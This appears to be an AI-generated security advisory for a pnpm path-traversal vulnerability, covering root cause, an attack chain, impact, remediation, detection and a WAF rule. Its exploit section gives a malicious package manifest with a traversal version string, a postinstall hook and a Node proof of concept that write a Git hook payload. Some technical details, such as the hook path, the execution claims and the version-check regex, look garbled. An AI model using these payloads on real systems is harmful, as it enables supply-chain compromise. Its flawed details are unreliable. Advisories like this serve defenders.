CVE-2026-145650 — CWE-22
pnpm from 12.0.0 before 12.10.0 contains a path traversal vulnerability that allows malicious dependencies to write files outside the store via a crafted manifest version string. When enable-global-virtual-store is enabled, fresh or resolving installs build slot paths from the unvalidated version, letting attackers overwrite files such as git hooks for code execution.
pnpm from 12.0.0 before 12.10.0 contains a path traversal vulnerability that allows malicious dependencies to write files outside the store via a crafted manifest version string. When enable-global-virtual-store is enabled, fresh or resolving installs build slot paths from the unvalidated version, letting attackers overwrite files such as git hooks for code execution.
🎯 What is this vulnerability?
CVE‑2026‑145650 – pnpm 12.0.0 – 12.9.x path‑traversal in the store‑slot construction
| Attribute | Value |
|---|---|
| Vendor / Project | pnpm (a fast, disk‑space‑efficient JavaScript package manager) |
| Affected versions | 12.0.0 through 12.9.x (the vulnerability is fixed in 12.10.0) |
| CWE | CWE‑22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → 10.0 (Critical) |
Technical root‑cause
pnpm stores each resolved package version in a global virtual store under a directory layout similar to:
<global‑store>/node_modules/.pnpm/<package-name>@<version>/node_modules/<package-name>When the --enable-global-virtual-store flag is active, pnpm builds the slot (the part of the path that contains the version string) directly from the version field supplied by the package’s manifest (package.json).
The code that creates the slot does not:
1. Validate that the version string conforms to the semantic‑versioning grammar (MAJOR.MINOR.PATCH[-PRERELEASE][+BUILD]).
2. Sanitize characters that have special meaning for the underlying file‑system (/, \, .., null byte, etc.).
Consequences:
- An attacker who publishes a malicious package (or injects a crafted dependency into a private registry) can set the
versionfield to a string such as1.0.0/../../../../../../etc/git/hooks. - During a fresh install or when pnpm resolves the dependency, the manager concatenates the untrusted version string to the store path, resulting in a path traversal that writes files outside the intended store directory.
- Because the write operation is performed with the privileges of the user running pnpm (often the same user that runs CI pipelines, build agents, or developers’ shells), the attacker can overwrite arbitrary files that are writable by that user – e.g., Git hook scripts,
.npmrc, or even system‑wide configuration files if the user has elevated rights.
PR:N, UI:N). The impact is Scope: Changed (S:C) because the compromised file can affect other users/processes on the same host (e.g., a CI runner that later executes the overwritten Git hook).⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker could follow in a typical CI/CD environment that uses pnpm with --enable-global-virtual-store.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify projects that use pnpm and have the enableGlobalVirtualStore option set (often found in pnpm-workspace.yaml or .npmrc). | Scan public repositories (GitHub, GitLab) for enable-global-virtual-store=true or the CLI flag in CI scripts (pnpm install --enable-global-virtual-store). |
| 1.2 | Determine the pnpm version used by the target (e.g., via pnpm -v output in CI logs, package-lock.yaml equivalents, or node_modules/.pnpm folder naming). | Look at CI build logs, Dockerfiles, or package.json engines field. |
| 1.3 | Verify that the version falls in the vulnerable range (12.0.0‑12.9.x). | Compare against the version discovered. |
Note: If the target is a private CI pipeline, the attacker may need to obtain a limited view of the configuration (e.g., by forking the repository and inspecting the CI definition files).
2. Exploitation
2.1 Craft a malicious package
Create a package named evil-pkg with a deliberately malformed version field:
{
"name": "evil-pkg",
"version": "1.0.0/../../../../../../etc/git/hooks",
"main": "index.js",
"scripts": {
"postinstall": "node -e \"require('fs').writeFileSync('/etc/git/hooks/post-receive', '#!/bin/sh\\necho compromised > /tmp/pwned\\n')\""
}
}The postinstall script is optional – the core of the exploit is the version string itself; the script simply demonstrates that the attacker can also execute arbitrary code once the file is written.
Publish the package to a registry that the target resolves from (public npm, a compromised private registry, or a GitHub Packages feed).
2.2 Trigger the vulnerable install
Assume the victim’s CI job runs:
pnpm install --enable-global-virtual-storeThe attacker adds evil-pkg as a dependency (directly or as a transitive dependency) in a pull‑request that the CI automatically builds.
Illustrative curl request (if the target resolves packages via a private registry API; the exact endpoint is not disclosed in the CVE, so this is an example of the class of request that would cause the traversal):
curl -X GET "https://registry.example.com/evil-pkg/-/evil-pkg-1.0.0.tgz" \
-H "Accept: application/octet-stream" \
-o /tmp/evil-pkg.tgzWhen pnpm extracts the tarball, it builds the store slot path:
<global-store>/node_modules/.pnpm/[email protected]/../../../../../../etc/git/hooksBecause the version string contains ../ segments, the resulting path resolves to /etc/git/hooks. pnpm then writes the package’s files (including the postinstall script) into that location, effectively overwriting the system’s Git post-receive hook.
2.3 Achieve code execution
When any user later pushes to a Git repository on the compromised host, the overwritten post-receive hook runs with the privileges of the Git user (often the same user that runs the CI agent). The hook contains the attacker‑controlled payload, giving remote code execution on the host.
Minimal PoC (Node script that demonstrates the write without needing a postinstall hook):
// evil-pkg/index.js
const fs = require('fs');
const path = require('path');
// The version string is already part of the store path; we just need to create a file.
fs.writeFileSync(
path.resolve(__dirname, '../../../../../etc/git/hooks/post-receive'),
'#!/bin/sh\n' +
'echo "Compromised by CVE-2026-145650" >> /tmp/pwned\n'
);When pnpm installs evil-pkg, the above script runs (as part of the package’s normal execution) and writes to /etc/git/hooks/post-receive.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Persistence | The malicious Git hook remains on disk until manually removed. Any subsequent push triggers the attacker’s payload. |
| Privilege escalation | If the Git user is a low‑privileged account but the hook is executed by a higher‑privileged process (e.g., a system‑wide Git service running as root), the attacker gains those higher privileges. |
| Lateral movement | The hook can be crafted to exfiltrate repository contents, add SSH keys, or spawn reverse shells, allowing the attacker to move laterally within the network. |
| Denial‑of‑service | Overwriting critical configuration files (e.g., /etc/hosts, /etc/passwd) can render the host unusable. |
🌍 Real World Impact
| CIA | Impact (derived from CVSS vector) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | High – Attacker can read any file the pnpm process can write to, and later read data from the compromised host (e.g., source code, secrets in .npmrc, environment files). | |
| Integrity (I:H) | High – Arbitrary files can be overwritten, including executable scripts, configuration files, and version‑control hooks, leading to persistent code execution. | |
| Availability (A:H) | High – Overwriting system files or critical hooks can crash services, corrupt builds, or render the host unbootable. | |
| Scope (S:C) | Changed – The compromise of the pnpm process affects other users/processes on the same machine (CI runners, Git daemons, other developers). | |
| Attack Vector (AV:N) | Network‑reachable – No authentication required; the exploit works simply by causing pnpm to resolve a malicious package. | |
| Complexity (AC:L) | Low – Only requires publishing a package with a crafted version string. | |
| Privileges Required (PR:N) | None – The attacker does not need any prior access to the target system. | |
| User Interaction (UI:N) | None – The exploit runs automatically during the normal pnpm install step. |
Bottom line: An unauthenticated remote attacker can achieve full remote code execution on any host that runs a vulnerable pnpm version with --enable-global-virtual-store enabled, without any user interaction. In CI/CD pipelines this translates to a supply‑chain compromise that can affect the entire software supply chain of an organization.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details | ||
|---|---|---|---|
| Upgrade pnpm | Move to pnpm 12.10.0 or any later release (12.10.0+ includes the fix that validates and sanitizes the version field before constructing the store path). | ||
| Version check | pnpm -v must report ≥12.10.0. Automate this check in CI pipelines (pnpm -v | grep -E '^12\.(1[0-9] | [2-9][0-9])'). |
| Back‑port | If you cannot upgrade immediately, apply the upstream patch that adds a whitelist regex for version strings (/^\d+\.\d+\.\d+(-[0-9A-Za-z-.]+)?(\+[0-9A-Za-z-.]+)?$/). |
2. Workarounds (if immediate upgrade is impossible)
| Workaround | How to apply | Effectiveness |
|---|---|---|
| Disable global virtual store | Remove the flag from all pnpm invocations and from .npmrc/pnpm-workspace.yaml (enable-global-virtual-store = false). | Eliminates the vulnerable code path; the store will be created per‑project, which is the default behavior. |
| Enforce strict version validation in a private registry | Configure the registry to reject packages whose version field does not match the semver regex. Many registries (e.g., Nexus, Artifactory) allow custom validation hooks. | Prevents malicious packages from being published, but does not protect against a compromised public registry. |
| Run pnpm under a restricted user | Create a dedicated, non‑privileged user for CI builds (e.g., ci-pnpm) with a home directory that does not contain writable system paths (/etc, /usr/local). Use sudo -u ci-pnpm pnpm install …. | Limits the damage to files owned by that user; the attacker cannot overwrite system‑wide hooks. |
| Filesystem sandbox | Use containerization (Docker) or a sandbox (e.g., firejail, nsjail) for the build step, mounting the global store as a read‑only volume. | Even if traversal occurs, the write is confined to the container’s filesystem. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
Unexpected writes to privileged paths during pnpm install | OS audit logs (auditd), file integrity monitoring (FIM) tools, or container logs. | type=PATH msg=audit(1701801234.567:123): item=0 name="/etc/git/hooks/post-receive" inode=123456 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE |
pnpm process spawning with abnormal cwd | Process monitoring (ps, procfs, Sysmon). | pnpm install --enable-global-virtual-store cwd=/tmp/evil-pkg-1.0.0/../../../../../../etc/git/hooks |
| Package manifest with version containing path‑traversal characters | Registry logs, CI dependency lock files. | {"name":"evil-pkg","version":"1.0.0/../../../../../../etc/git/hooks"} |
| Git hook modifications | Git server hooks directory (/etc/git/hooks, <repo>/.git/hooks). | diff --git a/post-receive b/post-receive\n+#!/bin/sh\n+echo compromised > /tmp/pwned |
| Unexpected network connections from CI agents | IDS/IPS alerts, outbound traffic logs. | Outbound TCP SYN to 203.0.113.45:4444 (reverse shell) |
Rule of thumb: Any file write outside the pnpm global store (~/.pnpm-store or the path configured via store-dir) that occurs during a pnpm install should be flagged.
4. ModSecurity / WAF (for HTTP‑based registries)
If the organization runs a reverse‑proxy in front of a private npm registry, a simple rule can block version strings that contain directory‑traversal patterns:
# ModSecurity rule – illustrative (adjust SecRuleEngine, SecRuleRemoveById as needed)
SecRule REQUEST_URI "@beginsWith /@*/*/-/" \
"id:400001,\
phase:2,\
t:none,\
block,\
log,\
msg:'Blocked npm package with suspicious version string (path traversal)',\
ctl:ruleRemoveById=950001,\
capture,\
chain"
SecRule REQUEST_BODY "@rx \"\\\"version\\\"\\s*:\\s*\\\"[^\\\"]*\\.\\./\""The rule inspects the request body for a version field containing ../. It blocks the upload/pull of such a package before it reaches pnpm.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 3.1 Base Score | 10.0 (Critical) – Network‑reachable, no privileges required, full RCE. |
| Exploit complexity | Low – Publishing a malicious package is trivial; many CI pipelines automatically install dependencies from untrusted sources. |
| Public exposure | The vulnerability is publicly disclosed (06 Dec 2026) and the fix is already available, giving attackers a narrow window to weaponize it. |
| CISA KEV | Not yet listed, but the combination of CVSS 10 and supply‑chain nature warrants immediate action. |
| Potential impact | Compromise of CI/CD pipelines can lead to *entire software supply‑chain* takeover, affecting downstream customers and partners. |
Recommended priority: Critical – Patch within 24 hours for any production CI/CD runners, build agents, or developer machines that use pnpm 12.0.0‑12.9.x with --enable-global-virtual-store. If immediate upgrade is impossible, apply the disable‑global‑virtual‑store workaround and enforce strict version validation in your registry.
Bottom line: CVE‑2026‑145650 is a classic dependency‑confusion / supply‑chain path‑traversal that grants unauthenticated remote code execution on any host that runs a vulnerable pnpm version with the global virtual store enabled. Prompt patching, disabling the flag, and tightening registry validation are the only reliable mitigations.
[🤖 CVE Professor AI Security Engine]